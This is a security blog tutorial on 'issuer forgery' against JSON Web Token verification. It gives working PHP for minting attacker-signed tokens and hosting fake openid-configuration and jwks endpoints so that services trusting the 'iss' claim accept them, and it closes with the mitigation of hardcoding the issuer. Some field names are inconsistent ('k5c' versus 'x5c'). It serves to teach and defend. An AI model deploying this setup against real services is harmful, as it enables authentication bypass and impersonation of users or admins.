Attack: JWT issuer forgery

In this article, we will delve deeper into the subject of JSON Web Tokens (JWT) and look at a method of forging them. You can find the basics in my two previous blogs, “what about: JWT” and “Attack: JWT modification“, which I recommend you read first.

We already know how to attack a token directly, without any further infrastructure, how to perform a potential privilege escalation, and how to exploit vulnerabilities in the implementation itself. However, the attack described in this article requires us to build a small infrastructure. But first, we need to take a closer look at how verification is done. This is shown in the following simplified graphic.

  • 1) The client sends the token to the service
  • 2) The application extracts the “iss” calim and calls the URL followed by “/.well-known/openid-configuration”.
  • 3) The token issuer returns its configuration
  • 4) The application extracts the “jwks_url” URL and calls it
  • 5) The issuer supplies its public key and the application can verify the signature

I know this sounds complicated at first, but let’s look at a real-world example and try it out together. We will use an official token from Azure AD so you can play it yourself. For my own safety, I will censor some data in the figures, but this will not affect the understanding.

If we look at the following decoded token, we see the claims “alg” and “kid” in the header and “iss” in the payload. All other claims are irrelevant to the verification of the token. Microsoft has a speciality and in the following example this is the “nonce” claim in the header, more on this later.

{
  "typ": "JWT",
  "nonce": "jl8nz5SCNfdID2bV0quxm37LJajkSfFutVx-84BAD3E",
  "alg": "RS256",
  "x5t": "-KI3Q9nNR7bRofxmeZoXqbHZGew",
  "kid": "-KI3Q9nNR7bRofxmeZoXqbHZGew"
}.{
  "aud": "https://graph.microsoft.com",
  "iss": "https://sts.windows.net/[TENANT ID]/",
  "iat": 1682930289,
............

From the information in the token, we now know that the issuer is “https://sts.windows.net/[TENANT ID]” ( [Tenant ID] corresponds to the Azure AD Tenant ID where the token was issued ) and we can make a simple GET call (in Postman or even in the browser) to the URL “https://sts.windows.net/[TENAT ID]/.well-known/openid-configuration“. This is described in the graphic under step 2. The URL is standardised and should always be the same.

The issuer returns its configuration in JSON format after a successful call. We are only interested in the “jwks_url” claim. This is the JSON Web Key Sets URL that provides the public keys required to verify a signature.

When the jwks URL is invoked, the issuer returns the configuration with all its public keys. In the Microsoft example there are several. This has to do with the transition time of the certificate validity. In principle, a single public key would suffice. However, if there are multiple public keys, the correct one can be determined using the “kid” claim in the token itself. In our example this would be “-KI3Q9nNR7bRofxmeZoXqbHZGew“.

The value shown under “k5c” is the public key that can be used to verify the signature. If you want to do this, the k5c value must be embedded in “—–BEGIN CERTIFICATE—–” and “—–END CERTIFICATE—–“.

Phu, that was a lot of information in a short time. But it is important to understand so that the attack can be understood and reproduced. So let’s get started.

Issuer forgery

We have now seen that the “iss” tag needs to be read by the application to verify the signature, and then it calls the necessary EndPoints to get the public key.
Notice anything? Let’s say we create our own token, with a URL in the “iss” claim that we control and that is accessible on the Internet, then it should be possible to create a clean signature. And that’s the goal of this attack, so let’s have a quick look at it in a graphic

To the application, the JWT looks legitimate, because the signature is valid and can also be verified. An attacker can then write pretty much anything he want into the token. Do he want to be admin? Or a certain user? Should the token be valid for 10 years? That’s what winning the lottery must feel like! Of course, in the real world this is not always that simple, it may be that the application has hard coded the issuer URL and so this attack will not work. But let us assume that this is not the case.

As mentioned before, we need a small infrastructure for this attack. Basically we need the following things:

  • A KeyPair of private and public key
  • A small web server to publish the EndPoints

The EndPoints we need are “[domain]/.well-known/openid-configuration” and “[domain]/common/discovery/keys“. The former is given and it is important that it matches the notation. The second URL can be anything you like, so you could call it “[DOMAIN]/welcome-to-the-dark-side“, which is what we are doing in this example. May the Force be with you.

Let’s start with the KeyPair that will be used to sign the token (private key) and allow the remote peer to validate the signature (public key). This can be created using various tools such as OpenSSL, we will use the online service “mkjwk.org“. The website provides not only the key pair but also all the information we need for the jwks endpoint. On the start page this can be created as follows. Of course, the fields can be adapted to your needs.

Clicking on ‘Generate’ will display all the necessary information. In particular, we need the fields “Public Key” & “Public Key (X.509 PEM format)” for the jwks endpoint and “Private Key (X.509 PEM format)” to sign the token during generation. Once we have all this information, we start with a subsite that allows us to issue tokens (this can also be done offline). This is done with a few lines of code, in this example using PHP, but it can be done in any coding language. In the file “private-key.pem” we need to store the value from the field “Private Key (X.509 PEM Format)“. The URLs in “$token_auth” and “$token_iss” must also be changed. Also, the value in the “$token_kid” variable must match the jwks value.

<?php
$privkey = openssl_pkey_get_private("file://private-key.pem");
function base64url_encode( $data ){
    return rtrim( strtr( base64_encode( $data ), '+/', '-_'), '=');
}
# token definition
    $token_alg= 'RS256';
    $token_type = 'JWT';
    $token_kid = 'malicious_key';
    $token_auth = 'https://collfuse.com/malicious_token/';
    $token_iss = 'https://collfuse.com/malicious_token/';
    $token_iat = strtotime('now');
    $token_nbf = strtotime('+1 second');
    $token_exp = strtotime('+3600 second');
# jwt header
    $jwt_header_array = array(
        'alg' => $token_alg,
        'type' => $token_type,
        'kid' => $token_kid
        );
    $jwt_header = base64url_encode(json_encode($jwt_header_array));
# jwt payload
    $jwt_body_array = array(
        'auth' => $token_auth,
        'iss' => $token_iss, 
        'iat' => $token_iat,
        'nbf' => $token_nbf,
        'exp' => $token_exp,
        );
    $jwt_body = base64url_encode(json_encode($jwt_body_array));
#jwt signature
    $jwt_data = "$jwt_header.$jwt_body";
    $openssl_sig = openssl_sign($jwt_data, $jwt_signature, $privkey, OPENSSL_ALGO_SHA256);
# jwt respnse 
    echo "$jwt_data." . base64url_encode($jwt_signature)
?>

The page call will now return a JWT, which may look like this

eyJhbGciOiJSUzI1NiIsInR5cGUiOiJKV1QiLCJraWQiOiJtYWxpY2lvdXNfa2V5In0.eyJhdXRoIjoiaHR0cHM6XC9cL2NvbGxmdXNlLmNvbVwvbWFsaWNpb3VzX3Rva2VuXC8iLCJpc3MiOiJodHRwczpcL1wvY29sbGZ1c2UuY29tXC9tYWxpY2lvdXNfdG9rZW5cLyIsImlhdCI6MTY4Mjk0OTg5OCwibmJmIjoxNjgyOTQ5ODk5LCJleHAiOjE2ODI5NTM0OTh9.ejt34wNQpdPzIxPFFY-xvvkUGlNil9Kja7U-FySuPjujoQPEaegV6ch0LhlayLEFFXqWBs15D0NS9TDPOg8OHj6aFD7kr3cOOGWQYV3qoSLRCIWXQ3rwoOLlEmZy02-XRG0ZDQDdJuEseJ8V1DSizbTfEfHbabc4ZY4IB-1WZF0wZyYlbOwBUgQXJa5fJaHvG1iw_5MCq7u0sLMuvPsyNJlwCVMlujxFs9E0baoXcJzoK2_QzmJBOXN0XtYVPRk7so_a7UH-jabYC-K4DOSVPF0-eOcNxjyP8QbMon3vjnUkvyDDXWRPQTt1MVu_RzpmfmJ26FUH3H6wPXf3hIx6jw
{
  "alg": "RS256",
  "type": "JWT",
  "kid": "malicious_key"
}.{
  "auth": "https://collfuse.com/malicious_token/",
  "iss": "https://collfuse.com/malicious_token/",
  "iat": 1682949898,
  "nbf": 1682949899,
  "exp": 1682953498
}.[Signature]

When we submit this token, the service reads the value from the “iss” claim, i.e. “https://collfuse.com/malicious_token/“, and tries to call the openid-configuration endpoint. Now it’s time to create the endpoints for “openid-configuration” and “jwks“, which don’t need any intelligence, just return the necessary information in JSON format. Let’s start with the “openid-configuration” endpoint, which in this example must be accessible at the URL “https://collfuse.com/malicious_token/.well-known/openid-configuration“.
Note: the dot in front of well-known is important and can be created in IIS with a virtual directory or in Windows Explorer as “.well-known“. In Linux you can just name the folder that way.

On this endpoint, we just announce the URL for the jwks, so it can be created with just a few lines of code.

<?php  
    $keys = @array(
        'jwks_uri' => "https://collfuse.com/welcome-to-the-dark-side/",
    );
    header('Content-type:application/json');
    echo json_encode($keys);
    exit;
?>

The output looks like this:

{
   "jwks_uri":"https://collfuse.com/welcome-to-the-dark-side/"
}

We are now almost finished and have everything set up. The last thing we need to do is create the “jwks” endpoint. This needs to be accessible at the URL shown in the “openid-configuration“, in this example “https://collfuse.com/welcome-to-the-dark-side/“. This endpoint doesn’t need any logic either, it just needs to return the JSON data we created with”mkjwk.org“. Notice that we need to add another claim “k5c“, which is the value from the “Public Key (X.509 PEM Format)” field. This is the public key. Also, the value of “kid” must be the same as in the token header.

<?php 
$jwks = [
    "keys" => [
          [
             "kty" => "RSA", 
             "e" => "AQAB", 
             "use" => "sig", 
             "kid" => "malicious_key", 
             "alg" => "RS256", 
             "n" => "mkjwk.org value",
             "x5c" => [
                "Public Key (X.509 PEM Format) value"
             ]
          ] 
       ] 
 ]; 
header('Content-type:application/json');
echo json_encode($jwks);
exit;
?>

Now that we have everything in place, we can test to see if it works as intended. To do this, we need to issue a new token (see above) and check that it is correct, using jwt.io. The difference between jwt.io and jwt.ms is that jwt.io also checks the signature of the token. All you need to do is copy the token into the “Encoded” field on the page. In the developer tools it is then clearly visible that the EndPoints we have created are called to get the necessary information.

jwt.io also shows that the token signature can be verified and is valid.

Conclusion

If an application or framework blindly trusts the “iss” claim, the application is vulnerable to an “issuer forgery”. With this, the signature verification mechanism can be leveraged and tokens with arbitrary content can be issued and used. The only way to protect against such an attack is to hardcode the issuer URL and not trust the token itself. However, this is not always possible, for example in a multi-tenant application.

That’s it so far, stay tuned and see you soon!

** midjourney string β€œSci – Fi Cyberpunk skull mecha, Canon, fr100mm, octane render, hyper photorealistic, hard – ops, stunning detailed, sci – fi, cinematic, 8k no blur, volumetric lightning , cinematic lighting –ar 1:2 –q 2”